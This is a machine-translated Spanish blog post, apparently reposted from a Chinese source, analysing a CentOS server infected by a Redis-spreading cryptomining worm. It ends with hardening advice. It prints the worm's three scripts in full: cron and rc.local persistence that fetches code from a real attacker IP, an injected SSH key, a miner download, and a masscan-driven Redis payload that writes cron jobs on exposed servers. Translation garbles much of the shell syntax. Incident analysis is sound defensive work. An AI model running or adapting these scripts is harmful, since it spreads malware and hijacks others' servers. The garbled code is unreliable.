Comunidad de combate de Python
Comunidad de combate de Java
Mantenga presionado para identificar el código QR a continuación, agregue según sea necesario
Escanee el código QR a seguir para agregar servicio al cliente
Ingrese a la comunidad de Python ▲
Escanee el código QR a seguir para agregar servicio al cliente
Ingrese a la comunidad Java ▲
Fuente 丨 Programador de seguridad de red y programador de piratas informáticos
https://mp.weixin.qq.com/s/LPMoORacJyDYtE74-zrF1w
Fondo 0x00
Tan pronto como llegué a la oficina el lunes por la mañana, escuché a un colega decir que uno de los servidores no podía iniciar sesión. No me lo tomé en serio. Seguí desayunando y ver si el precio de la moneda bajaba de nuevo. Después de un rato, el compañero de operación y mantenimiento también llegó y dijo sin aliento: Uno de nuestros servidores fue congelado por Alibaba Cloud. Razón: subcontratación maliciosa. Dejé los bollos rellenos de chucrut, SSH conectado por un tiempo, fue rechazado y pedí que el puerto predeterminado 22 estuviera bloqueado. Le pedí al colega de operación y mantenimiento que cambiara el puerto, lo conecté inmediatamente y, por cierto, miré el nombre de inicio de sesión: root y la contraseña de Xiaobai con menos de 8 dígitos. Sentí frío: ¡Me piratearon!
0x01 Encuentra pistas
El sistema de servidor CentOS 6.X ha implementado nginx, tomcat, redis y otras aplicaciones. Primero, se realiza una copia de seguridad de la base de datos localmente y luego se verifica el comando superior. Hay dos procesos al 99% con el mismo nombre aún en ejecución, llamados gpg-agentd.
Fuente: Academia de nieve Hefe Kan
Busqué en Google gpg y el resultado fue:
El agente gpg proporcionado por GPG proporciona soporte para el protocolo SSH, que puede simplificar enormemente la administración de claves.
Parece un programa muy serio, pero observe detenidamente el proceso en el servidor seguido de una letra d, que está muy disfrazada, que recuerda a la gente varios virus que se parecen a svchost.exe en Windows. Continua
comando ps eho -p 23374
netstat -pan | grep 23374
Compruebe la ruta de inicio y el estado de la red del proceso pid: 23374, es decir, vaya al directorio de la Figura 1. Hasta ahora, se ha encontrado el archivo ejecutable binario que dejó el pirata informático. Hay dos preguntas esperándome a continuación:
1. ¿Cómo se carga el archivo?
2. ¿Cuál es el propósito de este archivo, o qué quiere hacer el hacker?
Mirando la historia, todos los registros fueron borrados, sin dejar rastros. Continuar ordenando más mensajes,
Vi que se instaló una gran cantidad de software en el servidor alrededor de las 12:00 en medio de la noche, varios de ellos me llamaron la atención, los hablaré en detalle a continuación. Adivina mientras buscamos, si hacemos algo malo, ¿dónde probablemente armaremos un escándalo y comenzaremos automáticamente? ¿Comienzo del tiempo? Sí, planifica la tarea.
crontab -e
Efectivamente, se encontró la pista.
0x02 Motivación
La tarea programada anterior significa descargar un script del servidor cada 15 minutos y ejecutar el script. Descarguemos el script y echemos un vistazo.
curl -fsSL 159.89.190.243/ash.php> ash.sh
El contenido del guión es el siguiente:
uname -a
carné de identidad
nombre de host
setenforce 0 2> / dev / null
ulimit -n 50000
ulimit -u 50000
crontab -r 2> / dev / null
rm -rf / var / spool / cron / * 2> / dev / null
mkdir -p / var / spool / cron / crontabs 2> / dev / null
mkdir -p /root/.ssh 2> / dev / null
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa / oKCWk0NNKmMza8YGLBiJsq / zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB / B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo / szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph / xBj8wGKpHFP0xMbSNdZ / cmLMZ5S14XFSVSjCzIa0 + xigBIrdgo2p5nBtrpYZ2 / GN3 + Thy + PNUqx redisX'> /root/.ssh/authorized_keys
echo '* / 15 * * * * curl -fsSL 159.89.190.243/ash.php|sh'> / var / spool / cron / root
echo '* / 20 * * * * curl -fsSL 159.89.190.243/ash.php|sh'> / var / spool / cron / crontabs / root
yum install -y bash 2> / dev / null
apt install -y bash 2> / dev / null
apt-get install -y bash 2> / dev / null
bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2> / dev / null
Analice aproximadamente el propósito principal del guión:
La primera es cerrar SELinux, eliminar las restricciones de acceso a los recursos de shell y luego generar la clave pública ssh en el archivo /root/.ssh/authorized_keys, de modo que cada vez que un hacker inicie sesión en este servidor, pueda iniciar sesión sin una contraseña. Será mucho más conveniente ejecutar scripts. Para consultar el artículo sobre claves ssh, consulte este artículo sobre el principio y la aplicación de SSH. A continuación, instale bash y, finalmente, continúe descargando el segundo script bsh.php y ejecútelo.
Continúe descargando y analizando bsh.pbp, el contenido es el siguiente:
dormir $ (seq 3 7 | ordenar -R | cabeza -n1)
cd / tmp || cd / var / tmp
dormir 1
mkdir -p .ICE-unix / ... && chmod -R 777 .ICE-unix && cd .ICE-unix / ...
dormir 1
if [-f .watch]; luego
rm -rf .watch
salir 0
ser
dormir 1
echo 1> .watch
dormir 1
ps x | awk '! / awk / && / redisscan | ebscan | redis-cli / {print $ 1}' | xargs kill -9 2> / dev / null
ps x | awk '! / awk / && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {imprimir $ 1}' | xargs kill -9 2> / dev / null
dormir 1
Si ! [-x / usr / bin / gpg-agentd]; luego
curl -s -o / usr / bin / gpg-agentd 159.89.190.243/dump.db
echo '/ usr / bin / gpg-agentd'> /etc/rc.local
echo 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.local
echo 'salida 0' >> /etc/rc.local
ser
dormir 1
chmod + x / usr / bin / gpg-agentd && / usr / bin / gpg-agentd || rm -rf / usr / bin / gpg-agentd
dormir 1
Si ! [-x "$ (comando -v masscan)"]; luego
rm -rf / var / lib / apt / lists / *
rm -rf x1.tar.gz
if [-x "$ (comando -v apt-get)"]; luego
exportar DEBIAN_FRONTEND = no interactivo
apt-get update -y
apt-get install -y debconf-doc
apt-get install -y build-esencial
apt-get install -y libpcap0.8-dev libpcap0.8
apt-get install -y libpcap *
apt-get install -y crea gcc git
apt-get install -y servidor-redis
apt-get install -y redis-tools
apt-get install -y redis
apt-get install -y iptables
apt-get install -y wget curl
ser
if [-x "$ (comando -v yum)"]; luego
yum actualización -y
yum install -y epel-release
yum actualización -y
yum install -y git iptables hace gcc redis libpcap libpcap-devel
yum install -y wget curl
ser
dormir 1
curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz
dormir 1
[-f x1.tar.gz] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4
ser
dormir 3 && rm -rf .watch
bash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2> / dev / null
El código de este script es relativamente largo, pero hay 4 funciones principales:
1. Descargue el código remoto al local, agregue permiso de ejecución, chmod u + x.
2. Modifique rc.local para permitir que el código local se ejecute automáticamente al arrancar.
3. Descargue el código del escáner de código abierto en github e instale el software dependiente relacionado, que es el registro que vi en los mensajes anteriores.
4. Descargue el tercer script y ejecútelo.
Fui a github y miré este código fuente abierto, y es terrible.
MASSCAN: escáner de puertos IP masivo.
Es el escáner de puertos de Internet más rápido. Puede escanear toda Internet en menos de 6 minutos,> transmitiendo 10 millones de paquetes por segundo.Produce resultados similares a nmap, el escáner de puertos más famoso. Internamente, opera más como scanrand, unicornscan y ZMap, usando transmisión asíncrona. La principal diferencia es> que es más rápido que estos otros escáneres. Además, es más flexible, permitiendo rangos de direcciones y rangos de puertos arbitrarios.
NOTA: masscan utiliza una pila TCP / IP personalizada. Cualquier cosa que no sea un simple escaneo de puertos causará un conflicto con la pila TCP / IP local. Esto significa que debe usar la opción -S para usar una dirección IP separada o configurar su sistema operativo para que utilice un firewall en los puertos que usa masscan.
transmitiendo 10 millones de paquetes por segundo (transmitiendo 10 millones de paquetes por segundo), que es más rápido que nmap. No es difícil entender por qué Alibaba Cloud congela el servidor. Después de leer el archivo Léame, no entré en detalles. Descarga el tercer guión.
setenforce 0 2> / dev / null
ulimit -n 50000
ulimit -u 50000
dormir 1
iptables -I ENTRADA 1 -p tcp --dport 6379 -j DROP 2> / dev / null
iptables -I ENTRADA 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACEPTAR 2> / dev / null
dormir 1
rm -rf .dat .shard .ranges .lan 2> / dev / null
dormir 1
echo 'config set dbfilename "backup.db"'> .dat
echo 'guardar' >> .dat
echo 'flushall' >> .dat
echo 'establecer copia de seguridad1 "\ n \ n \ n * / 2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh \ n \ n"' >> .dat
echo 'establecer copia de seguridad2 "\ n \ n \ n * / 3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh \ n \ n"' >> .dat
echo 'establece backup3 "\ n \ n \ n * / 4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh \ n \ n"' >> .dat
echo 'establecer copia de seguridad4 "\ n \ n \ n * / 5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh \ n \ n"' >> .dat
echo 'config set dir "/ var / spool / cron /"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'guardar' >> .dat
echo 'config set dir "/ var / spool / cron / crontabs"' >> .dat
echo 'guardar' >> .dat
dormir 1
masscan --max-rate 10000 -p6379,6380 --shard $ (seq 1 22000 | sort -R | head -n1) / 22000 --exclude 255.255.255.255 0.0.0.0/0 2> / dev / null | awk '{imprimir $ 6, substr ($ 4, 1, longitud ($ 4) -4)}' | ordenar | uniq> .shard
dormir 1
while read -rhp; hacer
cat .dat | redis-cli -h $ h -p $ p --raw 2> / dev / null 1> / dev / null &
hecho <.duro
dormir 1
masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2> / dev / null | awk '{imprimir $ 6, substr ($ 4, 1, longitud ($ 4) -4)}' | ordenar | uniq> .ranges
dormir 1
while read -rhp; hacer
cat .dat | redis-cli -h $ h -p $ p --raw 2> / dev / null 1> / dev / null &
hecho <.ranges
dormir 1
ip a | grep -oE '([0-9] {1,3}.?) {4} / [0-9] {2}' 2> / dev / null | sed 's / \ / \ ([0-9] \ {2 \} \) / \ / 16 / g'> .inet
dormir 1
masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{imprimir $ 6, substr ($ 4, 1, longitud ($ 4) -4)}' | ordenar | uniq> .lan
dormir 1
while read -rhp; hacer
cat .dat | redis-cli -h $ h -p $ p --raw 2> / dev / null 1> / dev / null &
hecho <.lan
dormir 60
rm -rf .dat .shard .ranges .lan 2> / dev / null
Si los dos primeros scripts solo descargan y ejecutan archivos binarios en el servidor, entonces este script realmente muestra el poder del virus. Analicemos este script a continuación.
No hay nada que decir sobre la modificación del entorno del sistema al principio. La siguiente operación de escritura de archivos es un poco familiar. Si ha utilizado redis, debería poder adivinar que esta es la configuración de redis. Escribir esta configuración naturalmente aprovecha la vulnerabilidad de redis para escribir contenido en caché en archivos locales. Como resultado, la clave privada local se utiliza para iniciar sesión en el servidor donde está escrita la clave pública. Puede iniciar sesión sin una contraseña, que es el comienzo de nuestro artículo. /Root/.ssh/authorized_keys. Después de iniciar sesión, la tarea programada se ejecutará con regularidad y se descargará el script. Bueno, el archivo de configuración está listo, y luego comience a usar masscan para escanear el servidor de redis a través de la red para encontrar pollos de engorde. Tenga en cuenta que 6379 es el puerto predeterminado del servidor de redis. Si su puerto de escucha de redis es la IP pública o 0.0.0.0 , Y no hay protección por contraseña, lo siento, será reclutado.
0x03 resumen
Al analizar estos tres scripts a su vez, podemos ver la parte terrible de este virus. Primero, obtenga el permiso de inicio de sesión escribiendo la clave pública ssh, luego descargue y ejecute el archivo binario remoto, y finalmente copie a través de la vulnerabilidad redis y se extienda rápidamente por la red. , Aumentando a una tasa exponencial. Entonces la pregunta es, ¿cómo fue capturado este servidor? Después de leer redis.conf, la dirección de enlace es 127.0.0.1, no hay problema. A partir de esto, se puede inferir que la cuenta de root debería ser crackeada por fuerza bruta. Para verificar mi idea, eché un vistazo a lastb, y resultó que hay muchos registros:
Queda una última pregunta, ¿qué hace este programa gpg-agentd? Mi primera reacción en ese momento fue la máquina minera, porque ahora la moneda digital está demasiado caliente, aumentando la demanda de máquinas mineras distribuidas, lo que dio origen a esta cadena industrial gris. Entonces, arrastré este gpg-agentd a ida, busqué bitcoin, eth, mine y otras palabras relacionadas con string, y finalmente encontré esto:
Abre nicehash.com y mira, todo está claro.
0x04 consejos de seguridad
1. Servidor
1. Desactive ROOT
2. Haga que el nombre de usuario y la contraseña sean lo más complejos posible
3. Modifique el puerto predeterminado 22 de ssh
4. Instale el software DenyHosts anti-fuerza bruta
5. Desactive el inicio de sesión con contraseña y use la clave pública RSA para iniciar sesión
Dos, redis
1. Deshabilite la supervisión de IP pública, incluida 0.0.0.0
2. Utilice una contraseña para restringir el acceso a redis
3. Utilice una cuenta de autoridad inferior para ejecutar redis
En este punto básicamente se ha analizado todo el proceso de intrusión, si te interesa la muestra también puedes ir a curl por tu cuenta o ir a la máquina virtual para ejecutar el script anterior. En vista de mi capacidad limitada, es inevitable que haya negligencia o errores en el artículo. Por favor corríjame.
程序员专栏 扫码关注填加客服 长按识别下方二维码进群
近期精彩内容推荐: 中美日印程序员收入对比 程序员 悲催的一天 SringMVC从入门到源码,这一篇就够 10个Python可视化动图,用心且精美
在看点这里好文分享给更多人↓↓